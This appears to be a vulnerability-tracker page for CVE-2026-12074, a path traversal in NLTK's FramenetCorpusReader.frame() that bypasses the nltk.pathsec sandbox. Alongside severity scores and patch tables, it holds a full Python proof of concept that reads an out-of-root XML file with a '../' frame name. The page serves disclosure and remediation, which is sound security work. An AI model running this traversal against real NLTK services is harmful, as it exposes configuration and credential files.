CVE-2026-12074

HIGHPre-NVD 7.57.5
EchelonGraph scoreMEDIUM confidence

“—” beside the score: it is equal to the CVSS score beside it.

Score 7.5 from GitHub Security Advisory (severity: HIGH) published 2026-07-31. The CNA's CVSS baseline 7.5; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: the CNA's CVSS, GitHub Security Advisory

Also known asGHSA-xh95-f55m-82fw (GitHub Security Advisories)

7.5EG
EchelonGraph verdictPlan a fixRemediate within your standard update timelines (the SSVC decision on this page).
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: —CVSS: 7.5Exploit: None knownExposed services: Not assessed

A fix is available — apply it.

Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)

Summary

FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the builtin open(), bypassing CorpusReader.open() and the nltk.pathsec sandbox — including strict ENFORCE=True mode. A ../ sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.

Details

frame_by_name builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed .xml extension, with no containment check, then constructs an XMLCorpusView from that string path. Because the view is built from a string rather than a PathPointer, it reads with the builtin open(), so nltk.pathsec.validate_path() is never invoked and ENFORCE=True does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; frame_by_name never goes through CorpusReader.open(), so that protection does not apply.

The same string-path-into-XMLCorpusView pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:

  • doc() — uses the index entry filename field
  • the lexical-unit file loader — uses the lexUnit ID attribute

These are reachable through a malicious or attacker-modified FrameNet corpus index.

PoC

"""

import os import sys import tempfile import warnings from pathlib import Path

warnings.filterwarnings("ignore")

--- Turn the documented strict sandbox ON, before importing the reader. ---

import nltk.pathsec as ps ps.ENFORCE = True

import nltk from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError

FRAME_XML = ( '<?xml version="1.0" encoding="UTF-8"?>\n' '\n' "SECRET-OUT-OF-ROOT-CONTENT\n" "\n" )

BANNER = """\ =========================================================== NLTK FramenetCorpusReader.frame() Path Traversal PoC nltk {ver} | nltk.pathsec.ENFORCE = {enforce} ===========================================================""".format( ver=nltk.__version__, enforce=ps.ENFORCE )

def build_corpus(): """Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root.""" base = Path(tempfile.mkdtemp(prefix="fn_poc_")) root = base / "corpora" / "framenet" for d in ("frame", "fulltext", "lu"): (root / d).mkdir(parents=True) (root / "frameIndex.xml").write_text( '<?xml version="1.0"?>' ) (root / "frRelation.xml").write_text( '<?xml version="1.0"?>' )

# A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target). secret = base / "private" secret.mkdir() (secret / "secret.xml").write_text(FRAME_XML)

return base, root, secret / "secret.xml"

def main(): print(BANNER) base, root, secret_path = build_corpus() print(f"[*] corpus root : {root}") print(f"[*] secret file : {secret_path} (OUTSIDE the root)\n")

fn = FramenetCorpusReader(str(root), [])

# Attacker-controlled frame name climbs out of /frame/ up to /private/secret.xml evil = os.path.join("..", "..", "..", "private", "secret") print(f"[*] calling fn.frame({evil!r})")

try: f = fn.frame(evil) definition = f["definition"] if "SECRET-OUT-OF-ROOT-CONTENT" in definition: print("\n [VULN] out-of-root file was read and returned to caller") print(f" frame name : {evil}") print(f" frame ID : {f['ID']} name: {f['name']}") print(f" definition : {definition}") print(f"\n -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}") verdict = "VULNERABLE" else: print(f"\n [?] frame() returned but content unexpected: {definition!r}") verdict = "INCONCLUSIVE" except FramenetError as e: # Patched build (#3581): _reject_unsafe_path_component raises before open(). print(f"\n [SAFE] FramenetError: {e}") print(" traversal rejected before any file was opened (patched)") verdict = "NOT VULNERABLE" except Exception as e: print(f"\n [SAFE] {type(e).__name__}: {e}") verdict = "NOT VULNERABLE"

# Control: a plain absent name must fail as 'Unknown frame', NOT as a read. print("\n[CONTROL] benign absent name should be 'Unknown frame':") try: fn.frame("Definitely_Not_A_Frame") print(" [?] unexpectedly succeeded") except Exception as e: print(f" ok -> {type(e).__name__}: {e}")

print("\n" + "=" * 59) print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})") print("=" * 59)

if __name__ == "__main__": main()

Impact

  • Out-of-sandbox arbitrary XML read. Any application that routes attacker-influenced input into frame() can be made to read XML files from directories outside the intended corpus root and have their parsed content returned. frame() is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input.
  • Broad read primitive. Only a fixed .xml extension is appended; the attacker controls both directory and basename, giving "read any XML file the process can read." Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths.
  • Silent bypass of an advertised boundary. NLTK's SECURITY.md presents the nltk.pathsec sandbox and ENFORCE=True as a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Because frame_by_name builds the path itself and reads through a string-path XMLCorpusView, the containment guard is never called and ENFORCE=True does not block the read — silently, with no error or warning.
  • Crafted-corpus reach. Via doc() and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name.
  • Sensitive targets. Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where frame() output is reflected to the requester, disclosure is direct and non-blind.

CVSS v3
7.5
EG Score
7.5HIGHmedium confidence
EG Risk
34
EG Risk 34/100

EG Risk is EchelonGraph's 0–100 priority score. It fuses impact severity (EG Severity, the CVSS base score, never the KEV-floored or EPSS-lifted EG Score) with real-world exploitation and automatability, under weights EchelonGraph set by hand, so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner.

How it’s computed (value × EchelonGraph’s weight)
Severity75% × 45%
Impact severity (EG Severity): CVSS 7.5 of 10. Never the KEV-floored or EPSS-lifted EG Score.
Exploitation0% × 40%
No KEV listing, EG-KEV tier or EPSS when EchelonGraph scored this CVE.
Automatability0% × 15%
CISA's BOD 26-04 default: no one has published Automatable for this CVE, and CISA treats it as “no” for a CVE not in KEV.
SSVC (CISA's decision table, applied by EchelonGraph): Track at low or medium mission impact; Track* at high (mission-essential systems).
Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE.
Action: A fix is available. Apply it within your standard update timelines.
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)

The EG score (7.5): severity, escalated by confirmed exploitation. This CVE's 7.5 is its impact severity (EG Severity), not escalated.

EG Severity
7.5 HIGHCVSS-B, impact only: no KEV listing, EPSS or EG-KEV tier raises it.GitHub Security Advisory CVSS
EG Likelihood
Unknown (no EPSS on record)Unknown, not low: FIRST has published no EPSS probability for this CVE.
Confirmed exploitation
None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
EG Priority
SSVC Track at medium mission impactTrack at low or medium mission impact; Track* at high (mission-essential systems).CISA BOD 26-04: 14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.Each input and its source, and whom BOD 26-04 binds: the SSVC and BOD 26-04 blocks below.

SSVC (CISA's decision table, applied by EchelonGraph)Track at low or medium mission impact; Track* at high (mission-essential systems).

A fix is available. Apply it within your standard update timelines.

Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table

BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.

The score's inputs: In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). Where an input reads “CISA's BOD 26-04 default”, no one has published it for this CVE, and CISA's implementation guidance says: “If “Automatable” and “Technical Impact” information items about a CVE ID are not available and the CVE ID is not in the KEV Catalog, CISA will treat its values as “no” and “total,” respectively, until CISA or a third party provides metadata about the CVE ID. CISA will always provide the Vulnrichment data for a CVE ID listed in the KEV Catalog.” Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

July 31, 2026

Last Modified

July 31, 2026

Vendor Advisories for CVE-2026-12074(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(1)

Vendor / EcosystemFix (by version range) / PatchReleasedSource
pipnltk @ 3.10.0 (fixes <= 3.9.4)—ghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Affected Packages

(4 across 4 ecosystems)
Debian:12(1)
PackageVulnerable rangeFix by version rangeDependents
nltk3.10.0-1 ... 3.9.3-1 (9 versions)
  • every version on: no fix on record
—
Debian:13(1)
PackageVulnerable rangeFix by version rangeDependents
nltk3.10.0-1 ... 3.9.3-1 (6 versions)
  • every version on: no fix on record
—
Debian:14(1)
PackageVulnerable rangeFix by version rangeDependents
nltk3.9.1-2, 3.9.2-1, 3.9.3-1
  • every version up to 3.10.0-1: fixed in 3.10.0-1
—
PyPI(1)
PackageVulnerable rangeFix by version rangeDependents
nltk0.8 ... 3.9b1 (65 versions)
  • every version up to 3.10.0: fixed in 3.10.0
—

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 3× in last 7d / 9× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). Most recent first.

  1. 2026-11-01 17:32 UTCGHSA enrichmentGHSA-xh95-f55m-82fw · GitHub severity HIGH · GitHub CVSS 7.5
  2. 2026-11-01 07:59 UTCGHSA enrichmentGHSA-xh95-f55m-82fw · GitHub severity HIGH · GitHub CVSS 7.5
  3. 2026-11-01 07:59 UTCEG score recompute
  4. 2026-10-25 14:50 UTCEG score recompute
  5. 2026-10-18 05:04 UTCEG score recompute
  6. 2026-10-12 16:36 UTCEG score recompute
  7. 2026-10-11 20:12 UTCEG score recompute
  8. 2026-10-11 18:24 UTCEG score recompute
  9. 2026-10-11 14:58 UTCEG score recompute
  10. 2026-09-29 06:49 UTCEG score recompute
  11. 2026-07-31 17:08 UTCEG score recomputeFirst assessed: 7.5 HIGH

Frequently asked(4)

What is CVE-2026-12074?
CVE-2026-12074 is a high-severity vulnerability; its CVE record was published on July 31, 2026. Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True) Summary FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the…
When was the CVE record for CVE-2026-12074 published?
The CVE record for CVE-2026-12074 was published on July 31, 2026. That is the record's publication date; the vulnerability itself may have been made public earlier. EchelonGraph's copy of the record carries a last-modified date of July 31, 2026; the record at its source may have been updated since.
What is the CVSS score of CVE-2026-12074?
CVE-2026-12074 has a CVSS base score of 7.5 (the CNA's own assessment, by github_m; NVD's own analysis pending).
How do I remediate CVE-2026-12074?
A fix for CVE-2026-12074 is available: update to the fixed version the vendor names in its advisory. The vendor advisories EchelonGraph has for CVE-2026-12074 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-12074

Explore →

Is Your Infrastructure Affected by CVE-2026-12074?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.